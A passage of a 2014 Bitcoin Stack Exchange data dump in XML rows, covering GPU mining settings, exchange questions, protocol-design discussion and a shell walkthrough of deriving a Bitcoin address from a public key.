  <row Id="21220" PostTypeId="1" CreationDate="2014-01-27T11:42:38.103" Score="-1" ViewCount="241" Body="&lt;p&gt;I recently bought an GTX 760, and wanted to try out mining either bitcoins or litecoins. I know AMD is better for mining and all that but I still want to try it anyway. &#xA;So - should I mine bitcoins or litecoins with my GTX 760?&lt;/p&gt;&#xA;" OwnerUserId="12759" LastEditorUserId="5406" LastEditDate="2016-04-24T10:02:31.953" LastActivityDate="2016-04-24T10:02:31.953" Title="GPU mining better for BTC or LTC?" Tags="|mining-profitability|gpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21225" PostTypeId="1" CreationDate="2014-01-27T14:03:51.710" Score="3" ViewCount="1104" Body="&lt;p&gt;My understanding is that every block in the bitcoin blockchain has a coinbase transaction which contains a coinbase field. It is essentially an orphan field (placeholder) for use in claiming existing outputs. Since the coinbase transaction does not need to claim any existing outputs, it can be filled with any random data the miner chooses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would there be any adverse effects on Bitcoin (security or otherwise) if restrictions were placed on what the coinbase field can contain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Note: such a restriction may be desirable in order to prevent Bitcoin from being used as a &lt;em&gt;parent coin&lt;/em&gt; in merged mining.]&lt;/p&gt;&#xA;" OwnerUserId="3752" LastEditorUserId="3752" LastEditDate="2014-01-27T14:16:46.400" LastActivityDate="2017-11-04T18:20:11.140" Title="Any need for coinbase field in coinbase transaction?" Tags="|blockchain|security|mining-reward|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21227" PostTypeId="2" ParentId="20992" CreationDate="2014-01-27T14:14:15.370" Score="0" Body="&lt;p&gt;According to the manual page there are 5 modes for multipool which are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;FAILOVER&lt;/li&gt;&#xA;&lt;li&gt;ROUND ROBIN&lt;/li&gt;&#xA;&lt;li&gt;ROTATE&lt;/li&gt;&#xA;&lt;li&gt;LOAD BALANCE&lt;/li&gt;&#xA;&lt;li&gt;BALANCE&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Maybe load balance with quotas can do what you want. Check the documentation &lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; at the bottom of the page where the readme starts.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-27T14:14:15.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21228" PostTypeId="2" ParentId="21220" CreationDate="2014-01-27T14:16:55.883" Score="0" Body="&lt;p&gt;LTC. GPU mining is useless for BTC with the actual difficulty, you need an ASIC to do profitable BTC mining.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-27T14:16:55.883" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21229" PostTypeId="2" ParentId="21195" CreationDate="2014-01-27T14:44:11.617" Score="-1" Body="&lt;p&gt;I think what they're referring to is the address that you sent the bitcoin from. It sounds like they're probably manually validating the transactions so it couldn't hurt to also send them the link to the transaction on &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10521" LastActivityDate="2014-01-27T14:44:11.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21230" PostTypeId="2" ParentId="18416" CreationDate="2014-01-27T14:56:07.427" Score="-1" Body="&lt;p&gt;Use the -d switch on cgminer, this allows you to specify which card(s) to use.&lt;/p&gt;&#xA;" OwnerUserId="10896" LastActivityDate="2014-01-27T14:56:07.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21231" PostTypeId="1" CreationDate="2014-01-27T15:33:33.013" Score="-1" ViewCount="182" Body="&lt;p&gt;I've only just heard of Bitcoin and I wonder why I should start using bincoins. What is the benefit to me of using bitcoins? Why should I want to?&lt;/p&gt;&#xA;" OwnerUserId="12765" LastEditorUserId="5406" LastEditDate="2014-10-03T11:33:06.347" LastActivityDate="2014-10-03T11:33:06.347" Title="Why should I start using bitcoins?" Tags="|currencies|key-selling-points|" AnswerCount="1" CommentCount="2" ClosedDate="2014-01-28T10:52:10.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="21232" PostTypeId="2" ParentId="20450" CreationDate="2014-01-27T15:40:24.867" Score="0" Body="&lt;p&gt;I accidentally solved my problem. When I was writing this function, Eclipse told me function getX() (and getY()) is depracated. So I used getXCoord(), because I thought its result is the same. In feeling hopeless I used getX() instead getXCoord() and whole function magically worked!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the difference between getX() and getXCoord() ? &lt;/p&gt;&#xA;" OwnerUserId="12132" LastActivityDate="2014-01-27T15:40:24.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21233" PostTypeId="2" ParentId="21231" CreationDate="2014-01-27T16:13:15.803" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why should I start using bitcoins? What is the benefit to me of using bitcoins? Why should I want to?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, actually those are excellent questions, but it's hard to come up with one correct answer to it. Many people use Bitcoin for many different reasons. You can find some of the reasons below.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Bitcoin is like cash&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Payments are almost instantaneous, irreversible, and pushed by the paying party.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins are fungible&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin go directly from sender to recipient&lt;/li&gt;&#xA;&lt;li&gt;no bank account or good credit rating necessary&lt;/li&gt;&#xA;&lt;li&gt;Nobody can freeze your account&lt;/li&gt;&#xA;&lt;li&gt;But, when you lose them, they are gone.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Bitcoin is like a resource&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Limited supply&lt;/li&gt;&#xA;&lt;li&gt;Highly divisible (One bitcoin can be divided into 100,000,000 satoshis)&lt;/li&gt;&#xA;&lt;li&gt;No central institution regulating supply&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Bitcoin is like paypal&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can send money around the globe in an instant.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Additionally&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoins are impossible to counterfeit&lt;/li&gt;&#xA;&lt;li&gt;Transactions are very cheap&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;What advantages does that have?&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you are a store-owner it is cheaper than accepting credit card payments, and you have the money immediately instead of waiting for months. You also don't have to worry about chargebacks.&lt;/li&gt;&#xA;&lt;li&gt;With Bitcoin it is unnecessary to disclose personal information just to make a payment on the internet. No risk of someone hijacking your credit card.&lt;/li&gt;&#xA;&lt;li&gt;Sending money internationally is cheaper, faster, and more reliable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-01-27T16:13:15.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21235" PostTypeId="1" CreationDate="2014-01-27T16:21:37.073" Score="3" ViewCount="2815" Body="&lt;p&gt;I am just developing and testing Bitcoin mining application in plain Javascript&#xA;(slow but can be run off-line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test it to work correctly I need to download Bitcoin block headers&#xA;from Blockchain.info , 6 input parameters .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you aware how to call Blockchain API &#xA;&lt;a href=&quot;https://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/blockchain_api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't use Bitcoin address, no other mining app, just need to download&#xA;a number block headers from hashed blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea, demo, example or csv file coming with 6 input parameters&#xA;as described in Bitcoin hashing algorithm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12767" LastEditorUserId="132" LastEditDate="2014-02-02T17:53:27.157" LastActivityDate="2022-12-15T22:32:15.030" Title="How to download Bitcoin block headers from Blockchain.info and save to file?" Tags="|api|blockchain.info|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21237" PostTypeId="2" ParentId="16866" CreationDate="2014-01-27T16:39:57.480" Score="4" Body="&lt;p&gt;He was probably referring to &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow&quot;&gt;the payment protocol&lt;/a&gt;, which lets merchants (optionally) attach their online identity to payment requests, so customers can be assured they are actually paying who they &lt;em&gt;think&lt;/em&gt; they are paying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The payment protocol leverages the existing identity infrastructure that we all use every day on the web-- the same infrastructure used by every https-secured website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is lots of controversy about certificate authorities and lots of noise about building a better identity infrastructure for the Internet, and I personally look forward to the day when a better, decentralized identity infrastructure replaces the system we have now for both web browsing and Bitcoin payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, again: if you don't want to use the payment protocol, you won't have to -- paying using a Bitcoin address will likely be supported forever. But if you are a merchant with a reputation to uphold, it will give your customers a much better payment experience if you do use it.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-01-27T16:39:57.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21238" PostTypeId="2" ParentId="20909" CreationDate="2014-01-27T17:54:37.310" Score="0" Body="&lt;p&gt;Ditto. I found this and am trying to implement it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, you create a private testnet with low difficulty. I guess I'll go to lunch, because it apparently takes about an hour to do my &quot;genesis block.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/freewil/bitcoin-testnet-box&quot; rel=&quot;nofollow&quot;&gt;https://github.com/freewil/bitcoin-testnet-box&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be clear to stay away from the SourceForge one! Its instructions are out of date.&lt;/p&gt;&#xA;" OwnerUserId="12772" LastActivityDate="2014-01-27T17:54:37.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21239" PostTypeId="1" CreationDate="2014-01-27T18:17:27.403" Score="2" ViewCount="455" Body="&lt;p&gt;I have a machine with 1 R9 X280 running on Intensity 13. It ran for 2 weeks with no problems, and now it's been crashing every day, or even up to 4-5 times a day. (Crashing as in  rebooting with no actual reason in Event viewer.)&lt;/p&gt;&#xA;&lt;p&gt;The card is running at 73-76 Celsius; it is in an open case.&lt;/p&gt;&#xA;&lt;p&gt;I tried disabling the CCC, but that didn't help.&lt;/p&gt;&#xA;&lt;p&gt;What can I test to look for the problem? It is a brand new computer.&lt;/p&gt;&#xA;&lt;h3&gt;Details&lt;/h3&gt;&#xA;&lt;p&gt;CGMiner 3.7.2&lt;/p&gt;&#xA;&lt;p&gt;Mining command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cgminer --scrypt  -o x -u x -p x --gpu-platform 1 -I 13 -g 2 -w 256 --gpu-memclock 1500 --gpu-engine 1080 --gpu-powertune 20 --thread-concurrency 8192 --auto-fan --gpu-fan 30-75 --temp-cutoff 90 --temp-overheat 85 --temp-target 70&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12774" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-04-24T09:19:44.480" Title="Litecoin miner crash with no apparent reason" Tags="|litecoin|scrypt|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21240" PostTypeId="2" ParentId="19854" CreationDate="2014-01-27T19:10:54.673" Score="1" Body="&lt;p&gt;If you have the &lt;strong&gt;HD8570&lt;/strong&gt; dedicated card around 86kh/s is what I was getting as well before any tweaks. But it sounds like you have the &lt;strong&gt;HD8570D&lt;/strong&gt; GPU in an APU &lt;a href=&quot;http://en.wikipedia.org/wiki/Radeon_HD_8000_Series#Richland_.28HD_8xxxD.29_series&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Looks like they are in A8-6500 and A8-6600K CPUs)&lt;/a&gt; then you will definitely will be getting much lower kh/s than the dedicated card from looking at the specs. Since the GPU in the APU is sharing the system memory you will have to overclock your RAM in your motherboard BIOS settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just in case you are talking about the dedicated card or someone else finds this thread I was able to get 127Kh/s with these settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SGminer 4.0.0 settings:&lt;/strong&gt;&#xA;&quot;--gpu-platform 0 -d 0 -w 256 -I 16 --lookup-gap 2 --thread-concurrency 3200&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://litecointalk.org/index.php?topic=10092.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;tweaked OpenCL file&lt;/a&gt; got me about 1% more kh/s and works for many cards. There are also others out there to try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;System:&lt;/strong&gt;&#xA;Windows 8.1 with AMD 13.9 drivers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;GPU Overclock:&lt;/strong&gt;&#xA;Core clock from 780mhz to 990mhz&#xA;Memory clock from 900mhz to 1155mhz&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eSrZn.png&quot; alt=&quot;Miner running with afterburner and gpu-z&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12648" LastEditorUserId="12648" LastEditDate="2014-01-29T00:46:31.913" LastActivityDate="2014-01-29T00:46:31.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21241" PostTypeId="1" AcceptedAnswerId="21281" CreationDate="2014-01-27T19:16:11.737" Score="0" ViewCount="1912" Body="&lt;p&gt;I know that btc-e requires verification to withdrawal USD, &#xA;but do they require verification to convert to USD and let sit until I want to trade it for other coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again.. NO usd withrawal. only BTC-&gt;USD -- USD-&gt;BTC/LTC/etc&lt;/p&gt;&#xA;" OwnerUserId="12771" LastActivityDate="2014-01-28T15:39:37.267" Title="Does btc-e require verification for coin to USD conversion" Tags="|exchanges|litecoin|btce|altcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21242" PostTypeId="1" CreationDate="2014-01-27T19:29:29.813" Score="1" ViewCount="7425" Body="&lt;p&gt;It was my understanding that I have found a share, when the miner reports &lt;code&gt;accepted:...(yay)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the number of shares I'm being credited with in my pool is much lower than the number in the miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm talking about total shares as I have always used the same pool, and I haven't reset the miner so far. So, both should refer to the same frame of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't the number of shares in my miner match the number of shares reported by my pool?&lt;/p&gt;&#xA;" OwnerUserId="12776" LastEditorUserId="5406" LastEditDate="2016-04-25T20:44:09.070" LastActivityDate="2016-04-25T20:44:09.070" Title="Why doesn't the number of shares in my miner match the number of shares reported by my pool?" Tags="|mining-pools|mining-pool-shares|logging|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21243" PostTypeId="2" ParentId="21195" CreationDate="2014-01-27T20:09:32.983" Score="-1" Body="&lt;p&gt;In the History tab, if you right click in a transaction you can see the details of that tx, then you can copy the Transaction ID (I think that is what you've been asked).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what is asked most of the times when having the payment method that way.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2014-01-27T20:09:32.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21245" PostTypeId="2" ParentId="21239" CreationDate="2014-01-27T20:29:47.693" Score="1" Body="&lt;p&gt;Your settings look good.  If it was working OK with same settings for a while, then started acting up, either you have a software upgrade that's causing issues, or (more likely) you have a new/developing hardware issue.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had one doing the exact same thing last week (would run for a few hours and then reboot). I ended up reloading the os and then from windows to linux (bamt) and it was still doing the same thing. Under closer inspection, turned out two of the gpu card's power wires were burned straight through and had broken off (both yellow ones in my case).  Don't know how it worked at all with two missing power wires, but maybe it was getting some power from the motherboard and only needed the extra capacity under heavy load.  Either way, I replaced the burned out pciex power connectors and it's been running with no issues for a week now.&lt;/p&gt;&#xA;" OwnerUserId="4724" LastActivityDate="2014-01-27T20:29:47.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21246" PostTypeId="2" ParentId="12333" CreationDate="2014-01-27T20:46:03.580" Score="2" Body="&lt;p&gt;I) See &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules#.22block.22_messages&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_rules#.22block.22_messages&lt;/a&gt; for the full list of checks that must be done on a new block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;II) Only an index of &quot;unspent transaction outputs&quot; need to be kept to check new transactions / blocks, and that index is a few hundred megabytes currently and very comfortably fits in memory. It will get bigger as more people hold bitcoins, but it will not grow without bound and we've implemented incentives to encourage software to make the UTXO set smaller instead of bigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;III) Verifying every transaction in every old block isn't necessary, and the reference implementation skips the expensive (ECDSA signature) transaction checks up to a compiled-in checkpoint.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-01-27T20:46:03.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21247" PostTypeId="1" CreationDate="2014-01-27T21:41:59.490" Score="0" ViewCount="831" Body="&lt;p&gt;If no one controls this then how can you be sure it is stable? How is it regulated and most importantly how is it valued? I'm having a hard time grasping the idea of not being centralized and regulated somehow… can someone game the system… blah blah blah etc!? &lt;/p&gt;&#xA;" OwnerUserId="12781" LastActivityDate="2014-01-28T15:21:50.433" Title="How are bit coins valued?" Tags="|value|" AnswerCount="2" CommentCount="3" ClosedDate="2014-02-09T01:41:15.553" ContentLicense="CC BY-SA 3.0" />
  <row Id="21248" PostTypeId="2" ParentId="21247" CreationDate="2014-01-27T21:50:14.393" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;You can't be sure the value of a bitcoin is stable.&lt;/li&gt;&#xA;&lt;li&gt;The Bitcoin marketplace is not (currently) regulated.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins are valued only by trading activity on exchanges, based on how much people are willing to buy (or sell) them for.&lt;/li&gt;&#xA;&lt;li&gt;People with a lot of money can &quot;game the system&quot;, but that usually takes a &lt;strong&gt;lot&lt;/strong&gt; of money.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-01-27T21:50:14.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21249" PostTypeId="1" CreationDate="2014-01-27T22:09:41.780" Score="1" ViewCount="167" Body="&lt;p&gt;Why does the Satoshi client not use blocking synchronous communication with peers? I think that is mush simpler than the current asynchronous scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean after a node sends out a request, it waits for the response in a blocking manner, with a timeout deadline. After the response has arrived, it starts to send the next request. Doesn't this way have better control of communication context?&lt;/p&gt;&#xA;" OwnerUserId="12782" LastEditorUserId="132" LastEditDate="2014-01-28T12:58:16.317" LastActivityDate="2014-02-27T18:14:25.180" Title="Why does the Satoshi client not use blocking synchronous communication with peers?" Tags="|bitcoin-core|network|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21250" PostTypeId="2" ParentId="21249" CreationDate="2014-01-27T22:14:20.403" Score="1" Body="&lt;p&gt;If all clients in a network used blocking synchronous communications, then a single bad client could potentially bring down the entire network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a distributed untrusted network, asynchronous communications are required for robustness and reliability.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-01-27T22:14:20.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21252" PostTypeId="1" CreationDate="2014-01-27T23:30:54.253" Score="3" ViewCount="11673" Body="&lt;p&gt;Lots of cryptocoin sites and in particular mining pools use the term 'worker,' but there is no clear definition. What is a worker?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditDate="2016-04-01T09:13:04.487" LastActivityDate="2018-11-30T09:12:01.213" Title="What is a worker?" Tags="|mining-pools|terminology|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21253" PostTypeId="2" ParentId="21252" CreationDate="2014-01-27T23:42:52.250" Score="2" Body="&lt;p&gt;It's simply an identifier for you to use so that you can track different machines within your account. This can be useful, e.g. to let you monitor the hash/sec rate of your machines: if they drop unexpectedly, there may be something else eating resources or a cooling issue that you need to address.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-01-27T23:42:52.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21256" PostTypeId="1" CreationDate="2014-01-28T02:07:29.913" Score="5" ViewCount="121" Body="&lt;p&gt;The Bitcoin protocol does not require the payee to sign for a payment; only the payer signs (the payer signs a hash of the payee and payer's public keys). In other words, a payee signature is not required for a transaction to be added to the Ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So wouldn't the following kind of smear attack be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you're a Democrat, insert &quot;Koch Brothers&quot; for the Attacker; if you're a Republican, insert George Soros; etc.)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Victim runs for public office.&lt;/li&gt;&#xA;&lt;li&gt;Attacker easily figures out Victim's public key(s) from the Bitcoin Ledger and other sources.&lt;/li&gt;&#xA;&lt;li&gt;Attacker makes lots of big, expensive Bitcoin payments to Victim's public key(s) from mysterious payer public keys that are not (easily) traceable to the Attacker.&lt;/li&gt;&#xA;&lt;li&gt;Attacker tips off Fox News/MSNBC/etc that Victim has been receiving enormous, shady Bitcoin payments, and all they have to do to verify this is look in the Ledger.&lt;/li&gt;&#xA;&lt;li&gt;Victim's candidacy becomes engulfed in Fear, Uncertainty, and Doubt, and Victim's polls plummet.&lt;/li&gt;&#xA;&lt;li&gt;Victim withdraws candidacy for public office long before the election.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Q1: Am I missing something, or does Bitcoin make this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q2: If it is possible, couldn't it be fixed by only accepting payments in the Ledger that are signed by both the payer and the payee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TMIA.&lt;/p&gt;&#xA;" OwnerUserId="12790" LastActivityDate="2014-01-28T11:52:22.600" Title="Isn't bribe smearing possible because no payee signature is required?" Tags="|protocol|attack|public-key|signature|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21259" PostTypeId="1" CreationDate="2014-01-28T02:53:12.587" Score="6" ViewCount="3039" Body="&lt;p&gt;Is there complete solution for &lt;strong&gt;console&lt;/strong&gt; to generate brain wallet? Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;sausage&quot; | xxd -r -p | sha256sum | awk '{print $1}' | rmd160 -x | blablabla&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm read this article: &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0-1) I'm skip generation public key from private, and start with it like it was a brain wallet &quot;sausage&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) - Perform a sha256sum from pubkey:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# echo -n 0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6 \&#xA;| xxd -r -p | sha256sum | awk '{print $1}' &#xA;600FFE422B4E00731A59557A5CCA46CC183944191006324A447BDB2D98D4B408&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) - Perform RIPEMD-160 hashing on the result of SHA-256: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# echo -n 600FFE422B4E00731A59557A5CCA46CC183944191006324A447BDB2D98D4B408 \&#xA;| xxd -r -p | openssl rmd160 &#xA;010966776006953d5567439e5e39f86a0d273bee&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4) - Add version byte in front of RIPEMD-160 hash (0x00 for Main Network) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# echo 010966776006953d5567439e5e39f86a0d273bee \ &#xA;| sed -e 's/^/00/'  &#xA;00010966776006953d5567439e5e39f86a0d273bee&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;5) - Perform SHA-256 hash on the extended RIPEMD-160 result &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# echo -n 00010966776006953D5567439E5E39F86A0D273BEE \&#xA;| xxd -r -p | sha256sum | awk '{print $1}'&#xA;445c7a8007a93d8733188288bb320a8fe2debd2ae1b47f0f50bc10bae845c094&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;6) - Perform SHA-256 hash on the result of the previous SHA-256 hash &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# echo -n 445C7A8007A93D8733188288BB320A8FE2DEBD2AE1B47F0F50BC10BAE845C094 \&#xA;| xxd -r -p | sha256sum | awk '{print $1}'&#xA;d61967f63c7dd183914a4ae452c9f6ad5d462ce3d277798075b107615c1a8a30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;7) - Take the first 4 bytes of the second SHA-256 hash. This is the address checksum &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# echo d61967f63c7dd183914a4ae452c9f6ad5d462ce3d277798075b107615c1a8a30 \&#xA;| cut -b 1,2,3,4,5,6,7,8 &#xA;d61967f6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8) - Add the 4 checksum bytes from stage 7 at the end of extended RIPEMD-160 hash from stage 4. This is the 25-byte binary Bitcoin Address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;concatenate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9)  - Convert the result from a byte string into a base58 string using Base58Check encoding. This is the most commonly used Bitcoin Address form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm take base58 from here: &lt;a href=&quot;https://github.com/grondilu/bitcoin-bash-tools/blob/master/bitcoin.sh&quot; rel=&quot;nofollow&quot;&gt;https://github.com/grondilu/bitcoin-bash-tools/blob/master/bitcoin.sh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;The result I have is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;declare -a base58=(&#xA;      1 2 3 4 5 6 7 8 9&#xA;    A B C D E F G H   J K L M N   P Q R S T U V W X Y Z&#xA;    a b c d e f g h i j k   m n o p q r s t u v w x y z&#xA;)&#xA;&#xA;encodeBase58() {&#xA;    dc -e &quot;16i ${1^^} [3A ~r d0&amp;lt;x]dsxx +f&quot; |&#xA;    while read -r n; do echo -n &quot;${base58[n]}&quot;; done&#xA;}&#xA;stage24=&quot;$(echo -n 0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6 \&#xA;    | xxd -r -p | sha256sum | awk '{print $1}' \&#xA;    | xxd -r -p | openssl rmd160 | awk '{print $2}' \&#xA;    | sed -e 's/^/00/')&quot;&#xA;&#xA;stage57=&quot;$(echo $stage24 | xxd -r -p | sha256sum | awk '{print $1}' \&#xA;    | xxd -r -p | sha256sum | awk '{print $1}' \&#xA;    | cut -b 1,2,3,4,5,6,7,8)&quot;&#xA;&#xA;# stage 89&#xA;echo &quot;1$(encodeBase58 